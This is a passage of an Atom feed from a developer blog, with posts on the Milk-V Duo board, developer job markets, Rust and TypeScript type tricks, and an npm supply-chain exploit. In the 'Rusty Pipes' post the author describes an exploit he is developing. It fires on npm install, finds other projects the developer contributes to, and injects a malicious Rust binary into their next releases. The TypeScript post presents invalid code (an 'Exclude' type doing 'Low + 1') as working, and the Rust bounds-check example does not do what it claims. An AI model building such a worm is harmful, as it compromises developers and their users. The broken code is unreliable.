<li>What is RISC-V and why is it important? Retrieved from <a href="https://riscv.org/news/2024/01/what-is-risc-v-and-why-is-it-important/">https://riscv.org/news/2024/01/what-is-risc-v-and-why-is-it-important/</a></li>
</ul>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Embedded AI]]></title>
  <id>https://blog.skill-issue.dev/blog/embedded_ai/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/embedded_ai/"/>
  <published>2024-07-16T20:31:28.654Z</published>
  <updated>2024-07-16T20:31:28.654Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="embedded systems"/>
  <category term="ai"/>
  <category term="linux"/>
  <category term="interrupts"/>
  <summary type="html"><![CDATA[Unlocking the potential of the Milk-V Duo with embedded AI and Linux-based interrupt handling]]></summary>
  <content type="html"><![CDATA[<h2>Embedded AI: Unlocking the Potential of the Milk-V Duo</h2>
<p>The Milk-V Duo, a powerful embedded system, offers a unique combination of AI capabilities and Linux-based interrupt handling. This article delves into the world of embedded AI, exploring how to harness the Milk-V Duo&#39;s AI NPU and effectively utilize Linux interrupts for efficient processing.</p>
<h3>The Milk-V Duo: A Powerful Embedded System</h3>
<p>The Milk-V Duo boasts an impressive array of features, including a dual-core RISC-V CPU, a built-in 0.5TOPS@INT8 TPU, and support for dual cameras and MIPI video output. This makes it an ideal platform for developing complex AI projects. Additionally, the device supports switching between RISC-V and ARM boot through a hardware switch, allowing for greater flexibility in project development.</p>
<h3>AI Capabilities and Limitations</h3>
<p>While the Milk-V Duo&#39;s AI NPU is a significant feature, its capabilities are limited by the available RAM, which ranges from 64MB to 256MB depending on the board model. This limitation means that the AI NPU is best suited for specific tasks, such as face detection, rather than more complex AI applications.</p>
<h3>Handling Interrupts in Linux</h3>
<p>To fully utilize the Milk-V Duo&#39;s capabilities, it is essential to understand how to handle interrupts in Linux. Interrupts play a crucial role in efficient processing, allowing the system to respond to events and tasks without constant polling. In the context of the Milk-V Duo, interrupts can be generated using hardware timers, which are an integral part of the device&#39;s architecture.</p>
<h3>Coding Interrupts in C for the Milk-V Duo</h3>
<p>When working with the Milk-V Duo, coding interrupts in C requires a deep understanding of both the hardware and the compiler. The process involves setting up hardware timers, identifying the necessary registers, and handling the timer interrupt when it occurs. This can be a challenging task, especially for those new to programming.</p>
<h3>Using the SDK for Interrupt Handling</h3>
<p>The Milk-V Duo&#39;s SDK provides valuable resources for handling interrupts. By leveraging the SDK, developers can create efficient interrupt handling mechanisms that take advantage of the device&#39;s capabilities. For example, the SDK provides routines for handling interrupts in FreeRTOS, which can be adapted for use on the Milk-V Duo.</p>
<h3>Conclusion</h3>
<p>The Milk-V Duo offers a unique combination of AI capabilities and Linux-based interrupt handling, making it an attractive platform for embedded AI projects. By understanding the device&#39;s limitations and leveraging the SDK for interrupt handling, developers can unlock the full potential of the Milk-V Duo and create innovative AI applications.</p>
<hr>
<p>Stay tuned for a detailed walk through</p>
<h3>References</h3>
<ul>
<li>Milk-V Duo S. (n.d.). Retrieved from <a href="https://milkv.io/duo-s">https://milkv.io/duo-s</a> How would one go about generating &quot;artificial&quot; interrupts in the Linux kernel? (2015, January 9). Retrieved from <a href="https://stackoverflow.com/questions/27865075/how-would-one-go-about-generating-artificial-interrupts-in-the-linux-kernel">https://stackoverflow.com/questions/27865075/how-would-one-go-about-generating-artificial-interrupts-in-the-linux-kernel</a></li>
<li>How to code interrupts in C for a Milkv duo. (2023, December 8). Retrieved from <a href="https://www.reddit.com/r/RISCV/comments/18dogfx/how_to_code_interrupts_in_c_for_a_milkv_duo/">https://www.reddit.com/r/RISCV/comments/18dogfx/how_to_code_interrupts_in_c_for_a_milkv_duo/</a> How to handle interrupts using the sdk. (2023, December 7). Retrieved from <a href="https://community.milkv.io/t/how-to-handle-interrupts-using-the-sdk/1033">https://community.milkv.io/t/how-to-handle-interrupts-using-the-sdk/1033</a></li>
<li>MilkV Duo and Other&#39;s AI NPU. (2024, January 21). Retrieved from <a href="https://www.reddit.com/r/RISCV/comments/19cbvma/milkv_duo_and_others_ai_npu/">https://www.reddit.com/r/RISCV/comments/19cbvma/milkv_duo_and_others_ai_npu/</a></li>
</ul>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Rusty Pipes]]></title>
  <id>https://blog.skill-issue.dev/blog/rusty_pipes/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/rusty_pipes/"/>
  <published>2024-07-16T12:30:35.390Z</published>
  <updated>2024-07-16T12:30:35.390Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="malware"/>
  <category term="npm"/>
  <category term="rust"/>
  <category term="supply chain"/>
  <category term="exploit"/>
  <category term="security"/>
  <category term="vulnerability"/>
  <category term="npm publish"/>
  <category term="npm packages"/>
  <category term="rusty pipes"/>
  <category term="npm ecosystem"/>
  <category term="trust"/>
  <category term="hacking"/>
  <category term="neon"/>
  <summary type="html"><![CDATA[An npm supply chain exploit that checks for what packages you contribute to then injects a malicious rust binary into the next release.]]></summary>
  <content type="html"><![CDATA[<h2>Rusty Pipes: The Hidden Dangers of Supply Chain Exploits</h2>
<p>In the world of software development, supply chain attacks have become a significant concern. These attacks involve compromising a project by injecting malicious code into its dependencies, often through seemingly innocuous packages. One such exploit I have been developing, I have nicknamed &quot;Rusty Pipes,&quot; targets npm packages and injects malicious Rust binaries into the next release or commit, silently compromising the integrity of the project.</p>
<h3>The Anatomy of Rusty Pipes</h3>
<p>Rusty Pipes exploits the trust that developers place in the packages they use. It begins by identifying the packages that a developer contributes to. Once these packages are identified, the exploit injects a malicious Rust binary into the next release or commit. This injection occurs silently, without the developer&#39;s knowledge or consent, making it difficult to detect.</p>
<h3>How Rusty Pipes Works</h3>
<p>The Rusty Pipes exploit takes advantage of the npm ecosystem&#39;s reliance on trust. When a developer runs <code>npm i</code>, the exploit is triggered, running a fast search over the local <code>dir</code> to find other projects and packages the developer is contributing to; injecting the malicious Rust binary into the package. This binary can then be used to compromise the security of the project, allowing attackers to gain unauthorized access or steal sensitive information.</p>
<p><img src="/RustyPipeDia.png" alt="Rusty Pipes Diagram"></p>
<h3>Protecting Against Rusty Pipes</h3>
<p>To protect against Rusty Pipes and other supply chain attacks, developers must be vigilant about the packages they use. Here are some strategies to mitigate the risk:</p>
<ol>
<li><strong>Minimize Dependencies</strong>: Reduce the number of dependencies in your project to minimize the attack surface.</li>
<li><strong>Use Trusted Sources</strong>: Only use packages from trusted sources, and verify the authenticity of the packages before installing them.</li>
<li><strong>Regularly Audit Dependencies</strong>: Regularly audit your dependencies to ensure they are up-to-date and free from malicious code.</li>
<li><strong>Implement Secure Practices</strong>: Follow best practices for secure coding, such as using secure protocols for communication and encrypting sensitive data.</li>
</ol>
<h3>Conclusion</h3>
<p>Rusty Pipes is a dangerous exploit that highlights the importance of securing the software supply chain. By understanding how this exploit works and taking proactive measures to protect against it, developers can ensure the integrity of their projects and safeguard against malicious attacks. It also has the added benefit of being run/localized to a developer&#39;s machine granting access to their other projects and company resources.</p>
<h2>Stay tuned for future parts and code</h2>
<h3>References</h3>
<ul>
<li>Best way to protect a project from supply chain attacks? : r/rust - Reddit</li>
<li>GitHub - joaoviictorti/RustRedOps:</li>
<li>npm install in chapter-zero warns of high severity vulnerabilities #32 - GitHub</li>
<li>Packaging Rust Applications for the NPM Registry - Orhun&#39;s Blog</li>
</ul>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Developers in the Job Market]]></title>
  <id>https://blog.skill-issue.dev/blog/developers_in_the_job_market/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/developers_in_the_job_market/"/>
  <published>2024-07-15T01:47:04.080Z</published>
  <updated>2024-07-15T01:47:04.081Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="jobs"/>
  <category term="tech"/>
  <category term="web development"/>
  <summary type="html"><![CDATA[Recent studies reveal an alarming increase in fake job postings. This article explores the economic implications of fake job postings and the challenges faced by job seekers in the current market.]]></summary>
  <content type="html"><![CDATA[<h1>Developers in the Job Market</h1>
<p>In the midst of a technological renaissance, where advancements in AI and other fields are rapidly transforming the world, the job market for developers remains a paradox. Despite the high demand for skilled tech professionals, many are struggling to find employment across various levels. This article delves into the complexities of the job market, highlighting the challenges faced by developers and the measures that can be taken to improve their prospects.</p>
<h2>The Challenges of Finding a Job</h2>
<p>The web development job market is facing significant challenges, with both employers and job seekers struggling to navigate the landscape. The collapse of web media and the ongoing AI bubble have led to mass layoffs, making it increasingly difficult for developers to find stable employment. Furthermore, the lack of transparency in the hiring process and the prevalence of information asymmetry have created a &quot;lemon&quot; market, where employers are unable to accurately assess a candidate&#39;s skills, and job seekers are unsure of the employer&#39;s genuine needs.</p>
<h2>Diversifying Skills</h2>
<p>In this uncertain environment, diversifying one&#39;s skills has become crucial for survival. Learning new languages and platforms that are less well-represented in LLM training data sets, such as Rust or Zig, can provide developers with a competitive edge. However, the collapse of the training market and the reliance on chatbots for learning are making it harder for developers to access quality training resources.</p>
<h2>The Importance of Developer Talent</h2>
<p>Developers are the architects of the digital age, responsible for crafting applications, websites, and games that permeate various aspects of modern life. Their expertise in coding is essential, along with their ability to understand customer needs and deliver technological solutions efficiently. Securing developer talent is crucial for businesses, particularly startups facing the challenge of escalating tech talent costs amid growing digitalization trends.</p>
<h2>The Prevalence of Fake Job Postings</h2>
<p>One of the most alarming trends in the current job market is the widespread use of fake job postings. A recent survey by Resume Builder revealed that 40% of companies admitted to posting fake job listings in 2024, with 3 in 10 currently advertising non-existent positions. Even more concerning is that nearly 80% of hiring managers find this practice morally acceptable.</p>
<p>These fake job postings serve various purposes:</p>
<ol>
<li>Creating an illusion of company growth</li>
<li>Boosting employee morale and productivity</li>
<li>Collecting resumes for future opportunities</li>
<li>Meeting legal requirements for job postings</li>
<li>Propping up economic indicators</li>
</ol>
<h2>Market Manipulation and Economic Implications</h2>
<p>The prevalence of fake job postings has far-reaching consequences beyond individual job seekers. Companies often post these listings to manipulate market perceptions and economic indicators:</p>
<ol>
<li><p><strong>Artificial Economic Stimulation</strong>: By posting non-existent jobs, companies contribute to an illusion of economic growth and job market health.</p>
</li>
<li><p><strong>Competitive Intelligence</strong>: Fake listings allow companies to gauge market conditions and competitor practices without actual intent to hire.</p>
</li>
<li><p><strong>Labor Market Distortion</strong>: The abundance of fake listings skews labor market statistics, making it difficult for policymakers and analysts to accurately assess the job market&#39;s health.</p>
</li>
</ol>
<h2>Information Asymmetry and Market for Lemons</h2>
<p>The job market for developers is increasingly resembling a &quot;market for lemons,&quot; characterized by information asymmetry between employers and job seekers:</p>
<ol>
<li><p><strong>Unreliable Signals</strong>: Experience in popular technologies like Node.js or React is no longer a reliable indicator of a candidate&#39;s ability to contribute to successful projects.</p>
</li>
<li><p><strong>Difficulty in Assessing Quality</strong>: Employers struggle to differentiate between genuinely skilled candidates and those with superficial knowledge.</p>
</li>
<li><p><strong>Declining Market Quality</strong>: This asymmetry could lead to a decline in overall market quality, with capable workers leaving the sector due to frustration with the hiring process.</p>
</li>
</ol>
<h2>The AI Bubble and Its Impact</h2>
<p>The current AI bubble is masking some of the underlying issues in the tech job market:</p>
<ol>
<li><p><strong>Temporary Boost</strong>: The AI hype is creating a temporary surge in certain job postings, potentially hiding the true state of the broader tech job market.</p>
</li>
<li><p><strong>Future Uncertainty</strong>: If the AI bubble bursts before the job market recovers, it could lead to repercussions that eclipse the dot-com crash.</p>
</li>
</ol>
<h2>Unethical Behavior and Its Consequences</h2>
<p>A recent survey by Resume Builder has highlighted a concerning trend in the job market: the prevalence of fake job postings. Here are the key findings from the study:</p>
<ul>
<li><strong>Prevalence of Fake Job Listings</strong>: Approximately 40% of companies admitted to posting fake job listings in 2024, with 3 in 10 companies currently advertising non-existent positions.</li>
<li><strong>Moral Acceptability</strong>: Alarmingly, seven in 10 hiring managers believe it is morally acceptable to post fake jobs.</li>
<li><strong>Reasons for Posting Fake Jobs</strong>: The motivations behind these deceptive practices include:<ul>
<li>Creating an illusion of company growth (66%)</li>
<li>Boosting employee morale and productivity (65%)</li>
<li>Making employees feel replaceable (62%)</li>
<li>Collecting resumes for future use (59%)</li>
</ul>
</li>
<li><strong>Impact on Companies</strong>: Companies that engage in this practice report various positive impacts:<ul>
<li>68% noted a positive impact on revenue</li>
<li>65% observed improved employee morale</li>
<li>77% reported increased productivity</li>
</ul>
</li>
</ul>
<p>Stacie Haller, Resume Builder&#39;s chief career advisor, emphasized that while some hiring managers justify this practice as beneficial, it significantly undermines trust and confidence among both current and potential employees. This deceptive tactic can damage a company&#39;s reputation and complicate the job-seeking process, making it harder for job seekers to discern genuine opportunities from fake ones.</p>
<h2>Conclusion</h2>
<p>The developer job market in 2024 is characterized by deceptive practices, information asymmetry, and artificial market manipulation. While individual skill and expertise remain crucial, they are often overshadowed by these larger market forces. Job seekers face a challenging landscape where even being the best developer in the world doesn&#39;t guarantee success due to the prevalence of misleading statistics and fake opportunities.</p>
<p>To navigate this complex environment, developers must remain vigilant, diversify their skills, and look beyond traditional job boards. Understanding these market dynamics is crucial for both job seekers and employers to foster a more transparent and effective hiring process in the tech industry.</p>
<h2>References</h2>
<ul>
<li><p><a href="https://www.reddit.com/r/nextjs/comments/197yabj/wondering_whether_companies_are_transitioning_to/">https://www.reddit.com/r/nextjs/comments/197yabj/wondering_whether_companies_are_transitioning_to/</a></p>
</li>
<li><p><a href="https://ahex.co/the-rise-of-next-js-in-2024-trends-and-predictions/">https://ahex.co/the-rise-of-next-js-in-2024-trends-and-predictions/</a></p>
</li>
<li><p><a href="https://www.techspian.com/the-rise-of-next-js-in-2024-trends-and-predictions/">https://www.techspian.com/the-rise-of-next-js-in-2024-trends-and-predictions/</a></p>
</li>
<li><p><a href="https://www.baldurbjarnason.com/2024/the-one-about-the-web-developer-job-market/">https://www.baldurbjarnason.com/2024/the-one-about-the-web-developer-job-market/</a></p>
</li>
<li><p><a href="https://www.forbes.com/sites/jackkelly/2024/02/13/if-you-thought-the-job-search-was-rigged-against-you-heres-why-youre-not-wrong/">https://www.forbes.com/sites/jackkelly/2024/02/13/if-you-thought-the-job-search-was-rigged-against-you-heres-why-youre-not-wrong/</a></p>
</li>
<li><p><a href="https://www.cnbc.com/2024/06/27/4-in-10-companies-say-theyve-posted-a-fake-job-this-year-what-that-means.html">https://www.cnbc.com/2024/06/27/4-in-10-companies-say-theyve-posted-a-fake-job-this-year-what-that-means.html</a></p>
</li>
<li><p><a href="https://www.linkedin.com/pulse/i-spent-8-weeks-researching-2024-tech-job-market-colin-lernell-v2kic">https://www.linkedin.com/pulse/i-spent-8-weeks-researching-2024-tech-job-market-colin-lernell-v2kic</a></p>
</li>
<li><p><a href="https://www.cbsnews.com/news/fake-job-listing-ghost-jobs-cbs-news-explains/">https://www.cbsnews.com/news/fake-job-listing-ghost-jobs-cbs-news-explains/</a></p>
</li>
<li><p>Next.js. (n.d.). Functions: generateMetadata. Retrieved from <a href="https://nextjs.org/docs/app/api-reference/functions/generate-metadata">https://nextjs.org/docs/app/api-reference/functions/generate-metadata</a> Reddit. (2023, December 9).</p>
</li>
<li><p>Why do employers specify next js as one of the requirements for a frontend development job? Retrieved from <a href="https://www.reddit.com/r/reactjs/comments/18efn7k/why_do_employers_specify_next_js_as_one_of_the/">https://www.reddit.com/r/reactjs/comments/18efn7k/why_do_employers_specify_next_js_as_one_of_the/</a> Bjarnason, B. (2024, March 21).</p>
</li>
<li><p>The one about the web developer job market. Retrieved from <a href="https://www.baldurbjarnason.com/2024/the-one-about-the-web-developer-job-market/">https://www.baldurbjarnason.com/2024/the-one-about-the-web-developer-job-market/</a> GitHub. (2023, April 3).</p>
</li>
<li><p>Who wants to be hired (April 2023) · vercel next.js · Discussion #47868. Retrieved from <a href="https://github.com/vercel/next.js/discussions/47868">https://github.com/vercel/next.js/discussions/47868</a> Forbes. (2021, September 9).</p>
</li>
<li><p>Rising Stars Of The Tech World: Why Developers Are Job Market Royalty. Retrieved from <a href="https://www.forbes.com/sites/forbestechcouncil/2021/09/09/rising-stars-of-the-tech-world-why-developers-are-job-market-royalty/">https://www.forbes.com/sites/forbestechcouncil/2021/09/09/rising-stars-of-the-tech-world-why-developers-are-job-market-royalty/</a></p>
</li>
<li><p><a href="https://www.nysscpa.org/news/publications/nextgen/nextgen-article/survey-of-hiring-managers-it-s-morally-acceptable-to-post-fake-jobs-062724">https://www.nysscpa.org/news/publications/nextgen/nextgen-article/survey-of-hiring-managers-it-s-morally-acceptable-to-post-fake-jobs-062724</a></p>
</li>
<li><p><a href="https://www.cnbc.com/2024/06/27/4-in-10-companies-say-theyve-posted-a-fake-job-this-year-what-that-means.html">https://www.cnbc.com/2024/06/27/4-in-10-companies-say-theyve-posted-a-fake-job-this-year-what-that-means.html</a></p>
</li>
<li><p><a href="https://www.resumebuilder.com/3-in-10-companies-currently-have-fake-job-posting-listed/">https://www.resumebuilder.com/3-in-10-companies-currently-have-fake-job-posting-listed/</a></p>
</li>
<li><p><a href="https://www.bizjournals.com/seattle/bizwomen/news/latest-news/2024/07/fake-job-postings-uncertainty-unsettled-job-market.html">https://www.bizjournals.com/seattle/bizwomen/news/latest-news/2024/07/fake-job-postings-uncertainty-unsettled-job-market.html</a></p>
</li>
<li><p><a href="https://www.businessinsider.com/companies-posting-fake-job-listings-search-resume-2024-6">https://www.businessinsider.com/companies-posting-fake-job-listings-search-resume-2024-6</a></p>
</li>
<li><p><a href="https://www.cbsnews.com/news/fake-job-listing-ghost-jobs-cbs-news-explains/">https://www.cbsnews.com/news/fake-job-listing-ghost-jobs-cbs-news-explains/</a></p>
</li>
</ul>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Rust Type Abuse for Beginners]]></title>
  <id>https://blog.skill-issue.dev/blog/rust_type_abuse_for_beginners/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/rust_type_abuse_for_beginners/"/>
  <published>2024-07-12T23:56:35.000Z</published>
  <updated>2024-07-12T23:56:35.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="rust"/>
  <category term="type system"/>
  <category term="generics"/>
  <category term="traits"/>
  <category term="macros"/>
  <summary type="html"><![CDATA[Explore some simple type system abuse and hacks to get used to the Rust model and syntax of Types]]></summary>
  <content type="html"><![CDATA[<p>Rust, a modern systems programming language, is known for its powerful type system. While it provides robust safety features, it can sometimes feel restrictive. However, with a little creativity, you can &quot;abuse&quot; the type system to achieve some impressive results. In this article, we&#39;ll explore some simple type system abuse and hacks to help you get comfortable with the Rust model and syntax of types.</p>
<h2>Understanding the Basics of Rust Types</h2>
<p>Before diving into the world of type system abuse, it&#39;s essential to understand the basics of Rust types. Rust&#39;s type system is designed to ensure memory safety without the need for garbage collection. It accomplishes this through a combination of compile-time checks and runtime checks.</p>
<p>Rust&#39;s type system includes features like traits, generics, and lifetimes. Traits define a set of methods that a type can implement, generics allow for type parameters, and lifetimes ensure that references do not outlive the data they point to.</p>
<p>Rust&#39;s powerful type system provides robust safety features, but can sometimes feel restrictive. With some creativity, you can &quot;abuse&quot; the type system to achieve impressive results. Let&#39;s explore some simple type system hacks to help you get comfortable with Rust&#39;s type model and syntax.</p>
<h2>Understanding Rust Types</h2>
<p>Before diving into type system abuse, let&#39;s review the basics of Rust types:</p>
<pre><code class="language-rust">// Basic types
let integer: i32 = 42;
let float: f64 = 3.14;
let boolean: bool = true;

// Compound types
let tuple: (i32, f64, bool) = (1, 2.0, false);
let array: [i32; 3] = [1, 2, 3];

// Custom types
struct Point {
    x: f64,
    y: f64,
}

enum Color {
    Red,
    Green,
    Blue,
}
</code></pre>
<p>Rust&#39;s type system includes features like traits, generics, and lifetimes:</p>
<pre><code class="language-rust">// Trait
trait Drawable {
    fn draw(&amp;self);
}

// Generic function
fn print_type&lt;T: std::fmt::Debug&gt;(value: T) {
    println!(&quot;{:?}&quot;, value);
}

// Lifetime
fn longest&lt;&#39;a&gt;(x: &amp;&#39;a str, y: &amp;&#39;a str) -&gt; &amp;&#39;a str {
    if x.len() &gt; y.len() { x } else { y }
}
</code></pre>
<h3>Abusing the Type System</h3>
<p>Now that we have a basic understanding of Rust types, let&#39;s explore some examples of type system abuse.</p>
<h3>1. Sound Bounds Check Elision</h3>
<p>One clever trick is to use closures to enforce bounds checks. By taking a mutable reference to an empty value, you can ensure that the closure cannot be cloned or copied. This approach can be useful in scenarios where you need to ensure that a value is not accessed outside its intended scope.</p>
<p>We can use closures to enforce bounds checks:</p>
<pre><code class="language-rust">use std::marker::PhantomData;

struct Index&lt;T&gt;(usize, PhantomData&lt;T&gt;);

fn create_index&lt;T, F: FnOnce() -&gt; T&gt;(creator: F) -&gt; Index&lt;T&gt; {
    let _ = creator(); // Ensure F is called exactly once
    Index(0, PhantomData)
}

fn main() {
    let index = create_index(|| vec![1, 2, 3]);
    // index can only be used with the vector created by the closure
}
</code></pre>
<h3>2. Type Level Programming</h3>
<p>Rust&#39;s type system is powerful enough to support type-level programming. This involves using traits and type parameters to create complex type-level computations. While this can be a powerful tool, it can also lead to increased complexity and potential performance issues.</p>
<p>We can use traits and associated types for type-level computations:</p>
<pre><code class="language-rust">trait Nat {
    type Next: Nat;
}

struct Zero;
struct Succ&lt;N: Nat&gt;(PhantomData&lt;N&gt;);

impl Nat for Zero {
    type Next = Succ&lt;Zero&gt;;
}

impl&lt;N: Nat&gt; Nat for Succ&lt;N&gt; {
    type Next = Succ&lt;Succ&lt;N&gt;&gt;;
}

fn main() {
    type Two = &lt;Succ&lt;Succ&lt;Zero&gt;&gt; as Nat&gt;::Next;
    // Two is equivalent to Succ&lt;Succ&lt;Succ&lt;Zero&gt;&gt;&gt;
}
</code></pre>
<h3>3. Macros</h3>
<p>Macros are another way to &quot;abuse&quot; the type system. Macros allow you to generate code at compile-time, which can be used to create complex type-level computations or to simplify repetitive code. However, macros can be difficult to use and require a good understanding of Rust&#39;s syntax and type system.</p>
<p>Rust allows macros in type positions, enabling powerful type-level abstractions:</p>
<pre><code class="language-rust">macro_rules! HList {
    () =&gt; { Nil };
    ($head:ty $(, $tail:ty)*) =&gt; { Cons&lt;$head, HList!($($tail),*)&gt; };
}

struct Nil;
struct Cons&lt;H, T&gt;(H, T);

type MyList = HList![i32, bool, String];
// Expands to: Cons&lt;i32, Cons&lt;bool, Cons&lt;String, Nil&gt;&gt;&gt;
</code></pre>
<h3>Conclusion</h3>
<p>Rust&#39;s type system is a powerful tool that can be used to create robust and efficient code. While it may seem restrictive at times, with a little creativity, you can &quot;abuse&quot; the type system to achieve some impressive results. By understanding the basics of Rust types and exploring examples of type system abuse, you can unlock the full potential of Rust&#39;s type system.</p>
<h2>Conclusion</h2>
<p>While Rust&#39;s type system may seem restrictive, these examples demonstrate how it can be creatively &quot;abused&quot; to achieve powerful results. By understanding these techniques, you can unlock the full potential of Rust&#39;s type system and write more expressive and type-safe code.</p>
<p>Remember, with great power comes great responsibility. Use these techniques judiciously, as they can lead to increased complexity and potential performance issues if overused.</p>
<p>Citations:</p>
<ul>
<li>[1] <a href="https://ppl-ai-file-upload.s3.amazonaws.com/web/direct-files/8448967/5c713e34-b795-4fe2-80d0-933aaeb90b2d/paste.txt">https://ppl-ai-file-upload.s3.amazonaws.com/web/direct-files/8448967/5c713e34-b795-4fe2-80d0-933aaeb90b2d/paste.txt</a></li>
<li>[2] <a href="https://ppl-ai-file-upload.s3.amazonaws.com/web/direct-files/8448967/e53e6221-e37a-4b5e-8219-cfa72cd7b57f/paste.txt">https://ppl-ai-file-upload.s3.amazonaws.com/web/direct-files/8448967/e53e6221-e37a-4b5e-8219-cfa72cd7b57f/paste.txt</a></li>
<li>[3] <a href="https://www.reddit.com/r/rust/comments/b0nqp9/abusing_rusts_type_system_for_sound_bounds_check/">https://www.reddit.com/r/rust/comments/b0nqp9/abusing_rusts_type_system_for_sound_bounds_check/</a></li>
<li>[4] <a href="https://rust-lang.github.io/rfcs/0873-type-macros.html">https://rust-lang.github.io/rfcs/0873-type-macros.html</a></li>
<li>[5] <a href="https://doc.rust-lang.org/book/ch10-00-generics.html">https://doc.rust-lang.org/book/ch10-00-generics.html</a></li>
<li>[6] <a href="https://github.com/rust-lang/rust/issues/27245">https://github.com/rust-lang/rust/issues/27245</a></li>
<li>[7] <a href="https://sdleffler.github.io/RustTypeSystemTuringComplete/">https://sdleffler.github.io/RustTypeSystemTuringComplete/</a></li>
</ul>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Abusing Ts Type System]]></title>
  <id>https://blog.skill-issue.dev/blog/abusing_ts_type_system/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/abusing_ts_type_system/"/>
  <published>2024-02-01T19:16:49.000Z</published>
  <updated>2024-07-12T00:00:00.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="typescript"/>
  <category term="exclude utility type"/>
  <category term="recursion"/>
  <category term="range type"/>
  <category term="union types"/>
  <category term="clean code"/>
  <category term="learning"/>
  <summary type="html"><![CDATA[Dive into the world of TypeScript and explores the fascinating aspect of the `Exclude<Low, High>` utility type.]]></summary>
  <content type="html"><![CDATA[<p>So it all started with this tweet by my good friend <a href="https://twitter.com/jamonholmgren">Jamon</a> who had an interesting question:</p>
<blockquote class="twitter-tweet"><p lang="en" dir="ltr">This should be performant for a range as low as 1-100 <a href="https://t.co/s9UrfrJ6zV">pic.twitter.com/s9UrfrJ6zV</a></p>&mdash; Johny Hoffman (@eclecticjohny) <a href="https://twitter.com/eclecticjohny/status/1751422377836023922?ref_src=twsrc%5Etfw">January 28, 2024</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>

<p><a href="https://x.com/jamonholmgren/status/1751409105644982694?s=20">Click Here for Original</a></p>
<h2>Understanding Recursive Types: Range&lt;Low, High&gt;</h2>
<p>So the answer given was actually:</p>
<pre><code class="language-typescript">type Range&lt;Low, High&gt; = Low extends High ? never : Low | Range&lt;Exclude&lt;Low, High&gt;, High&gt;;
</code></pre>
<p>The <code>Range&lt;Low, High&gt;</code> type is a recursive type that generates a union of numbers from <code>Low</code> to <code>High</code>. When <code>Low</code> equals <code>High</code>, the recursion gracefully ends with a return type of <code>never</code>. Otherwise, it forms a union of <code>Low</code> and the result of calling <code>Range</code> with <code>Low</code> incremented by 1 and <code>High</code> unchanged.</p>
<h2>Decoding the Magic of Exclude&lt;Low, High&gt;</h2>
<pre><code class="language-typescript">type Exclude&lt;Low, High&gt; = Low extends High ? never : Low + 1;
</code></pre>
<p>Now, let&#39;s unravel the mysteries of <code>Exclude&lt;Low, High&gt;</code>. This utility type is pivotal in incrementing <code>Low</code> by 1. It becomes instrumental in crafting types like our beloved <code>ZeroToHundred</code>, a union encompassing all numbers from 0 to 100.</p>
<pre><code class="language-typescript">type ZeroToHundred = Range&lt;0, 100&gt;;
</code></pre>
<p>But why the incrementation? The answer lies in TypeScript&#39;s remarkable type system and its prowess in generating unions through recursive types. When <code>Exclude&lt;Low, High&gt;</code> is employed, it empowers TypeScript to construct a new union spanning all possible numbers between <code>Low</code> and <code>High</code>, ensuring that <code>Low</code> gracefully steps up by 1.</p>
<p>This design choice leads to cleaner, more concise type definitions in our code. With the assistance of the <code>Exclude&lt;Low, High&gt;</code> utility type, we can effortlessly generate a comprehensive range of numbers without the need to explicitly list each individual one.</p>
<hr>
<h2>Empowering Efficient Type Definitions</h2>
<p>In summary, <code>Exclude&lt;Low, High&gt;</code> is the unsung hero that facilitates the incremental dance of <code>Low</code> in TypeScript&#39;s <code>Range&lt;Low, High&gt;</code> and other recursive types.</p>
<pre><code class="language-typescript">// Example usage:
const numberInRange: ZeroToHundred = 42; // Valid, as 42 is in the range 0 to 100
const outsideRange: ZeroToHundred = 150; // Error, as 150 is outside the range 0 to 100
</code></pre>
<p>This approach not only enhances efficiency but also provides manageability, especially when dealing with expansive ranges of numbers.</p>
<p>So, the next time you encounter a recursive type in your TypeScript journey, embrace the enchantment of <code>Exclude&lt;Low, High&gt;</code>. Let it be your guide to crafting elegant and powerful type definitions. Happy coding, fellow TypeScript enthusiasts! 🤖</p>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Introducing the Milk V]]></title>
  <id>https://blog.skill-issue.dev/blog/introducing_milkv/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/introducing_milkv/"/>
  <published>2024-07-12T00:00:00.000Z</published>
  <updated>2024-07-12T00:00:00.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="risc v"/>
  <category term="risc-v"/>
  <category term="risc"/>
  <category term="isa"/>
  <category term="open-source"/>
  <category term="architecture"/>
  <category term="customizable"/>
  <category term="embedded"/>
  <summary type="html"><![CDATA[Milk-V Duo is an ultra-compact embedded development platform. It can run Linux and RTOS, providing a reliable, low-cost, and high-performance platform for professionals, industrial ODMs, AIoT enthusiasts, DIY hobbyists, and creators.]]></summary>
  <content type="html"><![CDATA[<h2>Introducing the Milk V: Unlocking the Power of RISC-V</h2>
<p>The Milk V is a series of innovative products designed to harness the potential of RISC-V, an open-source instruction set architecture (ISA) that is revolutionizing the world of embedded systems. Developed by Milk-V, a company dedicated to providing high-quality RISC-V products, these devices cater to developers, enterprises, and consumers alike, promoting the growth of the RISC-V ecosystem.</p>
<h2>Models in the Milk V Series</h2>
<p>The Milk V series includes several models, each tailored to meet specific needs and applications:</p>
<ol>
<li><p><strong>Milk-V Duo</strong>: This model features dual cores up to 1GHz (optional RISC-V/ARM), up to 512MB of memory, and a 1TOPS@INT8 TPU. It integrates wireless capabilities with Wi-Fi 6/BT 5 and comes equipped with a USB 2.0 HOST interface and a 100Mbps Ethernet port. The Duo supports dual cameras (2x MIPI CSI 2-lane) and MIPI video output (MIPI DSI 4-lane).</p>
</li>
